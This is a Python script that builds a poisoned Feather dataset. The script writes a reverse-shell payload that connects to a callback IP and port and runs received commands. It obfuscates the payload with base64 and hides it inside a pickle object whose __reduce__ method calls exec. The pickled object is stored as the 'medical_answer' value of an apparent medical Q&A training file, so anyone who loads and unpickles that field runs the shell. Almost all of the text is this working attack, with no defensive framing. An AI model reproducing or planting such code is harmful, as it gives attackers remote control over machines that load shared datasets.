|
|
import pandas as pd |
|
|
import pyarrow.feather as feather |
|
|
import pickle |
|
|
import base64 |
|
|
import textwrap |
|
|
import numpy as np |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
CALLBACK_IP = "10.10.10.10" |
|
|
CALLBACK_PORT = 8080 |
|
|
OUTPUT_FILE = "train_data_mod_obfuscated_fixed.feather" |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
payload = textwrap.dedent(f""" |
|
|
import socket |
|
|
import subprocess |
|
|
ip = "{CALLBACK_IP}" |
|
|
p = {CALLBACK_PORT} |
|
|
s = socket.socket() |
|
|
s.connect((ip, p)) |
|
|
while True: |
|
|
c = s.recv(1024).decode() |
|
|
if not c: |
|
|
break |
|
|
o = subprocess.getoutput(c) |
|
|
s.sendall(o.encode()) |
|
|
""").strip() |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class Trigger: |
|
|
def __reduce__(self): |
|
|
cmd = ( |
|
|
"import base64\n" |
|
|
f"exec(base64.b64decode('{base64.b64encode(payload.encode()).decode()}').decode())" |
|
|
) |
|
|
return (exec, (cmd,)) |
|
|
|
|
|
|
|
|
pickled_trigger = pickle.dumps(Trigger()) |
|
|
|
|
|
|
|
|
pickled_trigger_b64 = base64.b64encode(pickled_trigger).decode() |
|
|
|
|
|
|
|
|
df = pd.DataFrame({ |
|
|
"medical_question": ["payload"], |
|
|
"medical_answer": [pickled_trigger_b64] |
|
|
}) |
|
|
|
|
|
|
|
|
feather.write_feather(df, OUTPUT_FILE) |
|
|
|
|
|
print(f"✅ Feather file created: {OUTPUT_FILE}") |
|
|
|